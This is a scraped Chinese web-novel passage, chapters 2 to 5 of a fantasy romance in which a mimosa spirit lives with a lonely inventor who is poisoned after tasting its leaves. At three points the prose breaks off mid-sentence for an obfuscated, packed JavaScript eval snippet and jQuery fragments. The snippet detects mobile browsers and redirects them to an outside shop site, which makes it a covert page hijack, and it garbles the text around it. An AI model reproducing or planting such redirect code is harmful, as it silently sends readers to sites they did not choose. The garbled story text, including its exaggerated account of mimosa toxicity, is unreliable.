《一株含羞草成精了》
2. 有毒植物
“喵呜~~”
恰好在此时,别墅后院有只流浪猫从花坛里出来,是一只大橘猫,在那里咬青草,摇尾巴。
秦宿枭叹了口气:“原来是没关阳台的窗户,野猫进来把花盆撞倒了?我去找找家里还有没有猫粮,可怜的小草,先用这个盆吧,你的新花盆明天就到了。”
秦宿枭认真地把泥土捧起来,放在临时的塑料盆里,将小草摆整齐,他疑惑万分,怎么泥土这么湿润。他记得昨天没浇太多水,这么嫩的小叶子,浇多了会淹死,看来以后还要减少一点。
江含修摇了摇脑袋,抬头悄悄望去,人类把他放平稳后,走到书房不知道在拆卸什么东西,听起来有组装的声音。
“好险,差点被发现。”
绿萝伸出藤蔓摇了摇:“老大老大,你以后不能这样喝水,人类的植物大概3-7天浇一次水,如果你每天喝水,会被发现异常的,他们就会把你当成怪物吃掉。”
“当成怪物吃掉?” 江含修垂下脑袋,可是它口渴怎么办。
-
第二天,秦宿枭订的新花盆和营养土送到了。
他小心翼翼地将含羞草移进新家,培土、浇水,动作轻柔得像在安顿一朵娇花。
见那细小的叶片再度怯怯合拢,他眼底泛起笑意,这小东西,倒是越逗越让人上瘾了。
江含修左顾右盼,看见这个粉红色的花盆很漂亮,是陶瓷的,特别宽敞,可以伸展枝叶,姑且原谅这个男人不给水喝,花盆真漂亮。
秦宿枭拆开纸箱,拿出一包植物营养液,剪开包装袋,倒在了花盆里:“这是营养液,你还小,多喝点。”
绿萝和吊兰都在抗议,为什么不给他们喝营养液,就因为他们是老草吗!
江含修猛吸土壤精气,小叶子兴奋地全部张开,一张一合的抖着,这个营养液的味道非常好喝,人类世界竟然如此有趣,不像萤火虫说得那么恐怖。
秦宿枭惊呆,嘴唇微张,手里的袋子掉在地上,愣愣地盯着眼前含羞草:“原来叶子不仅会收缩,还会一张一合……太神奇了吧?”
他伸手又去碰了碰叶子,这回含羞草却毫无反应,叶片舒展着一动不动。
这份意外的“淡定”,反倒让秦宿枭来了兴致,没有缩回去?
他指尖一顿,轻轻抚摸小草的嫩叶,突然很想带到公司去玩,上下班都陪着。
江含修感觉脑袋痒痒的,男人的手很温暖,传说中人类是恶魔,他对这个认知有了改观,从捡回来到现在,人类并没有对他做出任何过分的事情。
……
一周后。
江含修的小草更加茂盛,他每天会自己蹦到水壶旁边喝水,叶子也越来越绿,根部变长。
人类真奇怪,白天出门,晚上回来。秦宿枭经常穿黑色西装,晚上就会换成睡衣,在书房捣鼓东西,每天搬回很多仪器放在家里,那是他从实验室带回来的发明。
双休日的时候,秦宿枭会在家里做饭,他前天刷到抖音,说洗大米的水对植物有营养,于是浇了下含羞草,毫无动静。
“米汤,听说很有营养,你尝尝。”
江含修咳嗽两声,小叶子晃动了两下,掉了几片,喝不惯这个味道,秦宿枭总是疑惑,窗户外面明明没风,小草的叶子却晃来晃去。
“叶子为什么掉了?” 秦宿枭蹲在他身边,准备伸手摸,含羞草突然缩了起来。
“奇怪……还没有碰到就能缩叶子,像是感应的,莫非,我的小草是敏感肌?”
秦宿枭来到沙发前坐下,打开植物书本,上面并没有写含羞草叶子为什么会掉,他自言自语:“肯定是我的方式不对,需要拿出去晒太阳……叶子怎么会脱落呢,等会再研究吧。”
秦宿枭走到厨房做饭。
…
江含修打了个喷嚏,脑袋左右摇晃,忽然掉了许多叶子,都是一些长得不好看的,他会抖掉,留下来的都是嫩嫩绿绿的,整齐干净。
他看向绿萝问:“这个人类很喜欢自言自语?”
绿萝趁秦宿枭做饭时间,正在手舞足蹈跳舞,叶子和藤蔓动来动去,它哼唱着说:“我只听说,他比较孤独,喜欢和植物、机器、动物讲话,不影响智商。”
江含修点头:“你这么喜欢唱歌,应该去深林修炼,修炼成人后,可以唱很多歌。”
绿萝兴奋地挥动藤蔓延伸到含羞草花盆边缘,摸了摸他的叶子:“真的吗真的吗!老大你能不能带我去!”
江含修很为难地低头:“恐怕不行……我现在都无法回去,但是,我一定会想办法的。”
秦宿枭出来后,把饭菜放在桌上,瞧见地上掉了一堆叶子,顿时脸色微变,惊慌失措地蹲在地上:“小草,你的叶子……怎么又掉了这么多?难道快死了??”
江含修不敢吭声,他总不能解释,因为那些叶子长得不结实、不漂亮,所以才被自己抖掉的吧。
秦宿枭疑惑万分,突然把地上的含羞草叶子捡起来,放在嘴里品尝,尝尝是不是变质或者不新鲜,有点甜,像刚萌出芽的小白菜。
十秒后……
嘭——
秦宿枭倒在地上,昏了过去。
江含修尖叫:“我是有毒植物啊!怎么能吃我的叶子!”
绿萝:“完了完了,我们要换主人了,秦宿枭被毒死了。”
富贵竹:“太好了,终于解放。”
百合:“好恐怖,他被毒死了,没人发现,尸体会发臭吗?”
江含修左右摇晃,泥土往外倾斜,费劲半天才蹦出来,用好几片叶子扫他的脸,男人毫无动静,甚至脸色开始发白。
“人,人,你别死。”
江含修也不知道,吃了自己的叶子该怎么处理。而且秦宿枭长期触摸他,接触含羞草这种有毒植物,也会轻微中毒的。
绿萝突然提醒道:“老大!手机!”
江含修疑惑扭头:“手机是什么?”
绿萝指向茶几上面的白色手机说:“人类的通讯工具,你用藤蔓拿过来,用秦宿枭的人脸解锁,可以找到他朋友的电话,求救用的。”
江含修听后,又继续蹦过去,泥土撒在地上到处都是,他的叶子也被晃掉了很多,小草伸出藤蔓,小心翼翼地把手机卷起来,又对着秦宿枭的脸尝试解锁。
江含修不懂如何打电话,弄了半天,绿萝他们也不清楚,它们只是天天陪在秦宿枭身边,学了点东西,具体怎么操作也不知道。
江含修随便瞎点,最后出发了陆北凛的电话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799539|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但是他用心声讲话,只有植物听得见,人类听不见。
陆北凛:“喂?”
江含修没吭声,看了眼秦宿枭,他皱着眉,似乎很痛苦,脖颈侧边青筋凸起,这是中毒后的迹象,他毒性很强的。
陆北凛嗓音冷冷的:“宿枭?有事吗?怎么不说话?”
陆北凛:“没事我就挂了。”
江含修伸出藤蔓,在秦宿枭的鼻孔周围扫来扫去,男人终于低吟了声:“唔……”
陆北凛严肃起来:“怎么了?你在哪里?在家?不舒服?”
江含修在旁边快急死了。
随后,电话被挂断,也不知道陆北凛会不会过来,他瞧见秦宿枭额头开始冒冷汗,紧锁着眉,男人瞧着很是无辜可怜。
江含修趴在他身上,小叶子动来动去,急切地想把他唤醒。
“人,醒醒。”
绿萝提醒道:“老大,你的叶子不是有毒吗?这样蹭来蹭去,他会不会更严重啊?”
江含修后知后觉回过神,迅速蹦到花盆里,钻进去躲了起来。
他真是个倒霉蛋,为什么是有毒植物呢,这个人类每天给它浇水,是恩公、是好人,自己竟然把他毒死了。
二十分钟后。
咚咚咚——
“宿枭!”
“宿枭你在家吗!”
“我踹门了啊!”
嘭——
别墅门外突然传来轰隆一声,周止用力把门踹开,冲进来摔了个大跟头,脸着地,捂住鼻子嗷嗷叫。
陆北凛迅速跑进屋,看见秦宿枭倒在地上,翻开男人的眼皮,捏开他的嘴,他毕竟是医生,经验丰富,很快得出结论,惊道:“周止!快把车开到门口!秦宿枭中毒了!”
周止猛地坐起来:“啊?在家休息,还能中毒?”
陆北凛看向满地狼藉,植物乱七八糟,含羞草的叶子还在地上,顿时明白什么,随后骂了句智商为零。
——
秦宿枭醒来的时候已经是晚上,洗完胃才清醒,外面繁星点点,皎月悬挂于空中,医院楼下的路灯忽暗忽明。
“什么情况……”
陆北凛坐在他身旁道:“你终于醒了,差点把自己毒死,含羞草自带一种有毒生物碱,会引发恶心、腹泻,你昏倒是因为毒性太强,秦宿枭,你是怎么想的?吃含羞草的叶子?”
周止站起来叉腰嘲讽道:“哈哈哈,比我还傻逼的人出现了!我就说过吧!那片森林很诡异,里面的植物都不是好东西!你赶紧把这株含羞草扔垃圾桶吧,吓死人了。”
秦宿枭捂住隐隐坠痛地腹部,还有胸口阵阵的恶心感,确实有点难受,他没想到那么小的叶子都能中毒,这么可爱的小草。
陆北凛提醒道:“多科普植物知识,含羞草只能观摩,不能触碰,长期接触皮肤也容易起红疹,引起瘙痒,你不如种在院子里。”
谁知,秦宿枭突然坐起来,他穿上外套,急匆匆地拿起手机准备离开:“我得回去给它换土……喝了米汤后,叶子一直掉,会死的。”
陆北凛:“……”
周止:“……”
这家伙,养植物养疯了吧。
被植物差点毒死,还想着回去照顾这个有毒植物。
3. 敏感小草
陆北凛觉得这人无可救药,根本不懂植物养殖,总是听网上那些三言两语,幸好昏迷前打了电话,否则被毒死在家中都不知道。
关于这个电话是江含修拨通的事情,最后谁也不知道。
-
城安花园。
秦宿枭回到家,洗胃过后肚子还是有点不舒服,带回来的药放在桌上,也喝了两粒,这谁能知道,那么小的一片叶子,毒性这么强。
秦宿枭走到阳台,只见那盆小草蔫蔫地耷拉着,所有叶片都蜷成了团,只剩光秃秃的枝干立在那儿。
绿萝:“老大!人类回来了!”
富贵竹:“嗷,他居然没死。”
吊兰:“命硬啊。”
江含修悄悄抬头,看见秦宿枭来到他身边蹲下,小草有点内疚,把叶子缩得紧紧的。
秦宿枭疑惑万分:“按理说,没人的时候,含羞草的叶子不是全部张开吗?为什么缩成这样,一片叶子也没了?”
江含修闻言,身上小小的叶子先是怯怯地探出,随即轻轻一颤,所有叶片尽数舒展、怒放,变得非常茂盛充满着生机,全是嫩嫩的绿叶。
秦宿枭惊讶地微微张口,下意识想要伸手触碰,却又猛地记起它带毒,指尖在半空一顿,终是收了回来。
“真是奇妙……我一直相信,植物也有生命。而此刻我的直觉告诉我,这株含羞草真的不一样,仿佛能听懂我的话……难道,你是传说中的精灵?”
江含修心情复杂,人类竟然相信世界上有精灵?
在这个世界,植物是不能讲话的。
秦宿枭坐在他身边说:“我经常在书本上看植物,除了研究那些冰冷的机器,唯一感兴趣的就是植物,你的叶子不规律的伸缩、抖动,我觉得这种情况,肯定不是普通植物,含羞草怎么会生在那么阴暗的森林呢?”
江含修没想到这个人类如此聪明,到底该不该承认自己是森林守护神的身份,或许他能把自己送回家。
谁知秦宿枭又问:“你的本体,是不是蓝色的?大大的眼睛,精灵的耳朵应该是尖的吧,对不对?”
江含修:“?”
那是什么,他才不是蓝色。
秦宿枭把含羞草用铲子挪出来,更换土壤,自言自语道:“浇了米汤之后,就一直掉叶子,我先给你换土。”
新土铺好后,秦宿枭拿起水壶浇了些水,指尖还沾着湿润泥土的残渣:“网上查过养护要点,含羞草本是三天一浇,不过这个季节气候干爽,一周一次就够了。”
江含修很想抗议,他每天都要喝好几顿,现在修炼期间,正是缺水源的时候。
秦宿枭喝了点中午煮的粥,许是身体不适,他今天没去书房捣鼓机器,早早便洗漱睡下了。
…
江含修蜕变过后,藤蔓可以伸展到卧室,他继续延伸,绿色细小的藤蔓趴在主卧门口张望。
秦宿枭的主卧非常宽敞,简约系装修风格,墙纸却是深灰色,显得不是很搭配,给人一种深沉感,男人脱了衣服,在床上躺着睡觉,双目紧阖,看来已经无碍。
江含修若有所思。
在森林里,曾经有只野狼吃了他的叶子,直接一命呜呼,秦宿枭竟然能平安无恙地回来。
人类这么厉害吗?
江含修的藤蔓继续蔓延,停在书房门口,小叶子抖了抖,这是震惊的表现。
秦宿枭的书房算不上一个真正的房间,更像一间紧凑的实验室。桌上堆满大大小小的零件,地面铺满图纸,连墙壁也挂满了各式螺丝与工具。
这个书房甚至比主卧还要宽敞,角落里,一个扫地机器人静默地停驻在满地的设计图之间。
秦宿枭是发明人工智能科技的,这些产品是从工厂实验室带回来的赝品,还在进行改装。
江含修并不明白。
江含修继续爬,到处观望,因为伸出来的藤蔓过多,往返的时候缠绕到了一起,带的地上全是泥土,客厅乱七八糟。
他要观察地形,瞧瞧如何离开,于是藤蔓往窗外伸、书房、客厅、卫生间、厨房,甚至别墅院内。
开朗的绿萝说:“老大!你这样子,只能蹦到森林,路程太遥远,要不然等修炼成人的时候,把人类的汽车开出去找家,速度会快很多。”
嘴毒的吊兰:“一株含羞草,会开车?出车祸了变成人赔钱,还是变成草跑路?”
高冷的富贵竹:“三思而后行。”
江含修苦恼地把所有藤蔓收回来:“我是森林的守护神,要保护它们,一定要回家的……”
绿萝问:“山神难道不能保护森林吗?”
江含修操控藤蔓,将散落客厅的泥土捧起来,卷回盆中,轻声说道:“这片森林之所以能吸纳日月精华,全因受过山神滋养。相传五百年前,一场大火席卷山林,山神以身躯覆盖整片森林,扑灭烈焰,用自己的牺牲保全了所有草木。自那以后,再也没听说过山神大人的踪迹。”
“不过,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799540|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片森林已经有庇护,普通人是无法进入森林的。”
绿萝用叶片轻蹭花盆边缘,不解地问:“既然这样,秦宿枭他们又是怎么进入森林,还将你整株带回来的呢?”
江含修轻轻摇曳枝叶:“我也不清楚……或许岁月流转,森林里残存的山神之力,早已消散殆尽了吧。”
-
周末,晴空万里。
秦宿枭把含羞草搬到后院,开始铲土挖坑,做了个小花园,扎围栏,最后把小草的根部埋进去。
江含修哆嗦两下,心中惶恐不安,突然被移到室外,没有植物陪伴孤零零的。
秦宿枭:“室内环境不适合你,总是掉叶子,看看外面怎么样。”
“小秦,这么勤快呀。” 隔壁别墅的张奶奶牵着孙子路过,满脸慈祥的笑容。
“张奶奶好,我家里植物太多,把它们弄在户外吸收阳光。” 秦宿枭回答。
六岁的小朋友跑过来,把手机的橙汁递给他:“秦哥哥,我请你喝橙汁。”
秦宿枭笑了笑:“这么好?哥哥不喝,你自己喝吧。”
小朋友继续说:“我有,这个小瓶是我的,大瓶是你的。”
张奶奶笑道:“你就接着吧,小圆可喜欢你,刚刚瞧见你在院里种植物,买饮料的时候就说给你顺便带一瓶。”
秦宿枭轻笑,把橙汁拿在手里,揉了揉他脑袋温声道:“那就谢谢圆圆了。”
“不客气!”
秦宿枭目送他们离去后,将饮料轻轻放在地上,继续用工具挖出剩余的土壤,仔细覆在含羞草周围,直到将它完好地安顿在小花园中,这才起身走向水池洗手。
江含修盯着那瓶黄色的不明物体,伸出藤蔓摸索,想喝。
秦宿枭扭头,江含修迅速将藤蔓缩了回来。
秦宿枭走过来,拧开橙汁瓶盖,喝了两口。下一秒,他瞧见含羞草把叶子全缩了起来,成为光秃秃的小枝丫。
“咦,还能自己缩?” 秦宿枭匪夷所思,把手里的橙汁倒在土壤里,“难道,你想喝这个?橙汁,补充维C的,给你尝尝吧,希望别掉叶子了。”
三秒后,橙汁的色泽竟然被泥土吸收,秦宿枭揉了揉眼睛,以为自己看错,又倒了点。
江含修尝到甜甜的饮料,开心得所有叶子都舒展开来,连藤蔓也兴奋地探出了头。
“这……” 秦宿枭后退几步,愣了几秒才反应过来:“等等,含羞草什么时候会长藤蔓了?”
4. 小草找家
江含修闻声小叶子哆嗦了两下,伸出去的藤蔓不敢收回来,很细很小,钝感力十足,经常忘记伪装,他是老实草,不会骗人。
怎么办,先这样吧,万一人类的含羞草也长藤蔓呢。
秦宿枭拿出手机搜索,几乎没见过会长藤蔓的含羞草,怪稀奇的,这就是生命的顽固,万事皆有可能。
秦宿枭伸手摸了摸他的藤蔓:“这么嫩,像刚发芽的小草,看来你很喜欢这片土地,那就暂时住在这吧。”
江含修想哭,但是他是草,没有眼睛,哭不出来。
他之所以激动,是因为喝了橙汁,才会生出藤蔓,而不是这片孤零零的泥土。
秦宿枭起身离开,越走越远。
江含修颓废地倒在地上,忽然很怀念阳台,以前在森林里,有许多萤火虫陪他说话,还有小鸟、松鼠,不像这个地方,冷冷清清。
绿萝似乎在和他说话,距离太远,江含修也听不清在讲什么。
很快,天色慢慢暗淡下来,江含修孤零零地待在院内,他抬头看向皎白的圆月,又开始想念森林的生活,虽然这个地方土壤很好,但是没有水喝。
这个人类怎么回事!
浇水的频率越来越少,每次浇一点点,生怕他淹死似的。
……
于是,江含修开始在院内生活。早晨可以吸收露水,这个事情值得庆祝,他喜欢露水的甘甜,甚至对根部很有营养,能提升灵力和修炼。
周一,秦宿枭又出门了。
他不明白,人类是为了生存,才需要每天出门吗?
周二,秦宿枭没有回来。
周三,秦宿枭还是没回来。
江含修软趴趴地躺在地上,藤蔓都变得有些枯萎,室内还有水壶,还不如回去阳台。而且,他的藤蔓长度有限,现在还不能钻到房子里去,需要继续修炼提升。
“好渴啊……”
人类真是坏,竟然抛弃小草,隐约听见绿萝的声音,说什么水龙头,他不懂,也不知道是什么。
满脑子都是渴渴渴。
傍晚日落西山时,江含修濒死间,很多叶子脱落掉在地上,枝丫躺在地上,树爷爷曾说,任何人在死亡的时候,脑海里会浮出出人生中最美好的回忆。
他从记事起,就活在这片森林里,饮土壤的泥水,啜树叶的露水,嚼林中的藤蔓。
似乎没什么回忆。
昏迷前,他的脑海里竟然浮现出一个背影。眼前迷雾成团,轮廓模糊看不清,是个长发男人,凑近后能闻到清新的草木香,他低下头,很轻地吻了吻自己的额头,而后慢慢消失。
“小草,小草。”
“我们小草,真坚强。”
江含修伸出手:“不要……不要走……”
——
“小草!”
秦宿枭没想到去省外应酬三天,回来后花园里的含羞草竟然枯萎了,满地的小叶子,他轻轻地捡起来,心中很是悲痛。
“怎么会死了……种的时候浇了那么多水,临走前忘记浇,我以为够的……”
秦宿枭的手轻抚过含羞草纤弱的枝条,又触了触它头顶那截萎蔫的藤蔓,眼眶隐隐泛红。
他对植物总怀着一份难以名状的情愫,每每见到这些鲜活娇嫩的生命悄然凋零,心中便泛起细密的疼。它们曾经那样美过。
“从来没有植物像你这样……会缩叶子、抖叶子……对不起,是我没照顾好你……”
秦宿枭的泪珠落在了土壤里,不知为何,只是小小的植物,竟然也能让他心口泛疼,因为太喜欢了吗?
小时候,他瞧见家门口外面的喇叭花凋零,心中也会难过,时常思考,如何延长植物的寿命。
“为什么……” 秦宿枭捡起含羞草的叶子,他摸到脸颊的泪水时也在发愣,悲伤也会控制不住吗。
眼看秦宿枭准备拔掉含羞草,江含修忽然竖起来,男人愣住,迅速跑到水池旁边,拧开水龙头接水,浇在了小草的头上,渐渐的,枝叶越变越绿。
“活了……?”
江含修刚清醒过来,意识不清,整个人晕头转向低吼:“可恶的人类!会不会养小草啊!”
秦宿枭惊恐瞪大眼睛,指尖颤了颤,趔趄两步退后,吓得跌倒在地上。他缓过神道:“我……我好像在做梦?小草说话了?”
江含修突然缩起所有叶片,完蛋,一时晕糊涂,竟然没控制住声音。
等会……他们植物说话全靠心声,按理说,秦宿枭是人类,应该听不见的!什么情况!
时间仿佛静止,空气格外安静,夜晚起风了,秦宿枭蹲下拍了拍衣服的尘土,半晌没出声。
江含修悄悄探出脑袋,两片小叶子抬起头,对上秦宿枭的视线,又缩了下来。
秦宿枭走过来,蹲在他面前:“难怪上面的叶子总是会翘起来,是你的脑袋吗?你真的是精灵?”
江含修没说话,所有叶子都缩成团,明明是很茂盛的一团小草,现在全是小枝丫,还在抖。
秦宿枭慢慢伸出手,放在他秃秃的树枝上面,指尖轻轻摩挲,嗓音温和:“别怕,按理说,害怕的应该是我,怎么你抖成这样?”
江含修感受到男人温暖的手掌,渐渐地放松警惕,叶子也缓缓张开。
秦宿枭点了点他的叶子:“你真的能听懂我说话,难怪之前和你讲话总是有回应,那片森林有什么奇妙之处吗?你是精灵?”
江含修呆呆地点头,这才回道:“嗯……”
虽然撒谎不好,但是树爷爷说过,特别是人类世界,这个地方不能来,也不能暴露身份。
秦宿枭见过世面,却不曾知道这个世上还有精灵,儿时在电视里看过蓝精灵,含羞草会是什么样的?
“你能变成人?”
江含修立马摇头,生怕身份被知晓,死在这个地方。
秦宿枭伸出手:“可以握手吗?”
江含修沉默片刻,伸出藤蔓,落在了男人掌心,嫩滑的触感让秦宿枭大开眼界,是如此真实,并不是梦,还会动,似乎很乖。
秦宿枭轻笑:“你好可爱。”
江含修害羞,缩回藤蔓,把叶子都收了起来。
秦宿枭问:“既然你有藤蔓,可以伸这么长,为什么不打开水龙头喝水?难怪上次花盆突然摔了,原来是你自己弄倒的。”
江含修无辜道:“我不是故意的,我成精了,比普通植物更容易缺水,需要每日饮用三次,你……你差点把我渴死了,也不会用那个水龙头……”
秦宿枭懊恼不已,揉了揉太阳穴宠溺一笑:“对……我忘记你是小草,人类的工具很多都不会用,抱歉,是我的失误。我要工作,经常出差,所以才忘记浇水,改天我给你做个自动浇水器。”
两人达成共识,秦宿枭把含羞草挖起来,继续种在阳台花盆里,小草瞬间开心得左摇右晃,浇水的时候叶子抖来抖去,把水撒了一地。
秦宿枭:“真稀奇,那我当初把你摘回来,是不是扰了你的安宁?”
江含修:“当然啊!那是我的家,那你能把我送回去吗?”
“送回去……” 秦宿枭叹了口气,“也好,毕竟是我带你回来的,虽然很喜欢你,也不能强迫把一只小精灵放在人类世界。”
江含修听他有点哀伤的语气,不知为何,心里泛起一阵酸涩,哪怕是短暂的相处,对这个人类也有了依依惜别的情感。
“你放心,等我回到森林,也不会忘记你的。”
夜晚。
秦宿枭把他重新种在了阳台,浇了很多水,又抚摸小草的叶子,哪怕是江含修提醒他有毒,他也想揉几下,明天就见不着了。
“小精灵……如果你留在人类世界,我也会照顾好你的。”
江含修不知所措地晃了晃叶子,面对人类的挽留,确实有点为难,他对这个世界也充满好奇心。
“可是……森林更加需要我,我不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799541|190682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能那么自私。”
秦宿枭点点头:“嗯,我尊重你的选择。”
…
入夜后,窗外的天也越来越黑,偶尔会传来呼啸的风扇,窗帘也随之飘荡起来,
秦宿枭盯着窗外的月亮发怔,低头看了眼掌心里的一片含羞草叶子,满脑子都是那只可爱的精灵。
看着这片叶子,他没来由地一阵难受,心里空落落的,像是缺了一块,非得用什么填上不可。
翌日清晨,天还没亮。
江含修还在睡觉,突然感觉有股甘甜弥漫在土壤里,根部变得结实有力,清澈的水流均匀地落在叶子上面。
江含修抬头,看见塑料杯里面的水珠,还在往头上淋,他兴奋地抖了抖叶子,是露水!
秦宿枭见他醒了后说:“昨晚一宿没睡,网上搜索了下,说露水不含矿物质,清晨的水珠温和,不会刺激植物根系,你感觉如何?”
江含修猛地点头:“我很喜欢喝露水,谢谢你。”
“你喜欢就好。”
江含修其实可以种在室外,每天都能吸收露水,但是这个前院孤零零的,没人陪他说话,所以想住在阳台。
没想到,秦宿枭会早起给他出去摘露水,树爷爷说不能走出森林、不能接触人类,似乎也没那么坏。
绿萝小声道:“老大,你真的要走了吗?其实秦宿枭这个人挺好的!”
吊兰:“老大我舍不得你。”
芦荟:“不能留下来吗?他已经发现了你的身份,也并没有伤害你,秦宿枭真的是好人呢。”
江含修垂着叶子:“我不是你们的老大,我是背负使命而活的。”
绿萝:“你给了我们生命!让我们彼此之间都能说话,就是我们的老大。”
秦宿枭疑惑低头:“你在和谁说话?”
江含修随即反驳:“没……没谁……我在自言自语。”
树爷爷说过,不能在人类面前暴露自己有法术,既违背天意,也会让自己陷入危险。
“那我们出发吧。”
-
白色奔驰沿着环山公路平稳前行,副驾驶座上摆着一盆含羞草,粉色的陶瓷花盆精致细腻,在阳光下泛着温润的光泽。
小草好奇地探出枝叶,想要看看窗外的世界,不料一阵风来,竟把它的叶子给吹走了。
秦宿枭把车窗关起来提醒:“别往外面看,小心叶子都没了。”
江含修抖了抖叶子:“没关系,我叶子长得很快的。”
秦宿枭轻笑,想到这只可爱的小精灵,以后还不知道有没有再次见面的机会,有点可惜。
两个小时后。
抵达目的地,秦宿枭抱着花盆,来到山脚下寻找森林。
他展开地图反复查看,绕了两圈,又攀上最高峰。翻过山脊继续向前,一路四处探寻,却始终不见皎月森林的半点踪迹。
“怎么可能找不到……我记得当时露营在这个地方,往前面走了很久,就看见了。”
江含修伸出叶子,替他拂去脸上的热汗:“你要不要休息下?或者把我放这里就行,我自己去找。”
秦宿枭:“你自己?”
男人把花盆端起来,左看右看,没有脚、没有手,如何行动,一颗小草在地上蹦来跳去,不会被人抓走当怪物烧掉吗?
“还是算了,我帮你找吧,你怎么走路?你又不是人。”
江含修垂下叶子,也对,他只能蹦着走路,也不知道家在哪个地方,森林是会被隐藏起来的,藏在某个虚拟空间,又像那种海市蜃楼,看得见摸不着。
秦宿枭继续往前找,晌午山上的阳光越来越刺眼,江含修承受不住烈日,小草叶子越来越枯。
“人……”
秦宿枭低下头,含羞草的藤蔓软软地垂落在他胸前,微凉的触感轻轻贴在锁骨处。
与此同时,小草用微弱而可怜的声音在他耳边响起:“我想回家……好难受……”
5. 被当垃圾
“怎么了?”
秦宿枭蹲下来,把怀里的花盆放在地上,拿出外套兜里的矿泉水瓶,淋在它嫩绿的叶子上。
江含修并没有感觉缓解,皎月森林是仙地,普通人类无法进入,他的修为太低,所以才找不到,这样下去还没找到家,就已经渴死。
“要不……你先走吧?因为你是人类,人类是无法找到这片充满灵力的森林,它或许在十公里,也可能在几百里。”
秦宿枭不放心:“我怎么能把你一个小草留在这?万一被过路的野狼吃掉了呢?”
“不会啦……狼怎么会吃草,有人类在我身边,我无法找到这片森林。” 江含修挥动叶子说。
秦宿枭低头沉思,如果人类无法进入森林,那天夜晚,指南针方向变反,他们三个人是怎么进去的?
“行,如果真的是我受影响,抱歉,那我先离开,小草,注意安全。”
江含修目光追随着秦宿枭步步后退的身影,直至那抹轮廓彻底消融在视野尽头,连残留的衣角都未曾留下。
真的走了。
“为什么心里有点空空的……”
江含修在原地僵立了许久,才缓缓从粉花盆中起身。
那些细密的根须便是他的脚,只能用根部轻轻蹦跳着前行。
他实在舍不得这个粉白相间的花盆,便伸出两根细长的藤蔓紧紧缠住盆沿,拖拽着它一同往森林深处挪动。
沿途磕磕绊绊,花盆与石子相撞,发出细碎的声响,小草也没扔掉人类送给他的礼物。
秦宿枭愣在原地,身形藏在一棵松树背后,目光牢牢锁住那抹小小的身影。
含羞草正一蹦一蹦地往密林里钻,两根柔弱的藤蔓执拗地拖着花盆,每一步都走得格外笨拙。
“傻草。”
秦宿枭喉结微动,心底涌上几分说不清的酸涩。这么呆,连累赘都舍不得丢,谁敢放心让他一个人留在这森林里?
把花盆扔了啊,笨蛋。
十分钟后。
江含修狼狈地坐在地上,两根藤蔓紧紧抱住花盆,低声哭泣:“树爷爷……快带我回家吧……”
他趴在地上又快枯萎了,隐约听见有个声音从深渊之处传来。
“先以己力安身,待羽翼丰满再归途。”
含羞草抬起叶子:“树爷爷?是你吗?为什么我进不去森林……你是在告诉我,等修炼成人,学会厉害的法力,才能回家保护你们吗?”
“好疼啊……”
“叶子快掉光了。”
为什么,靠近秦宿枭的时候,并没有这么痛,枯萎的速度也没有这么快。
小含羞草的叶片尽数蜷缩成一团,只剩几根纤细的枝丫光秃秃地耷拉着。他摔在地上,抱着粉色花盆,那一刻,他满心只剩绝望。
这辈子,大概是完了。
……
时间仿佛过得很漫长。
江含修又开始做梦,那个长发男人出现在前面,一袭白衣雅正温柔,轮廓依然模糊不清,他伸出手,想看清这张脸。
却一直追不上。
“慢点……慢点……”
“不要离开我,你别去……”
-
“小草?小草?”
江含修猛地睁开眼,陌生的卫生间,熟悉的人类,他的叶子左顾右盼,通过灵识可以看见、听见,他还活着。
这是秦宿枭家里的浴室。
又在做奇怪的梦,那个人到底是谁,似乎是生命中很重要的人。
秦宿枭轻抚着它的叶子,低声道:“你这个笨蛋小精灵,我哪敢随便离开。昨天你差点又在森林里枯掉了,抱你起来的时候,藤蔓全都缠在我身上,一声声喊疼……吓死我了。”
江含修伸出藤蔓抱住人类的胳膊,学着人类哭,他很怕死,所以非常感激这个人类,内心喜极而泣。
秦宿枭摸了摸他的小叶子:“哼哼唧唧的,没有眼睛,也没有鼻子,怎么哭的?”
江含修的叶子挥来挥去:“……用声音也能哭,我只是太开心,没想到还能再见到你,你是我的好朋友,像森林里的萤火虫,对我很好。”
秦宿枭觉得很好笑,他竟然被一只成精的小含羞草认可,并发了好人卡,还和植物成为朋友。
江含修低头:“这……怎么全是水啊。”
秦宿枭把含羞草捧起来,抖了抖它叶子的水,走向阳台,说:“你回来的时候叶子全黄了,索性我就直接放在浴缸里,结果还真有作用,泡了一会儿就绿了。”
说罢,秦宿枭蹲下,把花盆里的土壤刨开,重新种进去,轻轻抚摸沾满水珠的叶子。
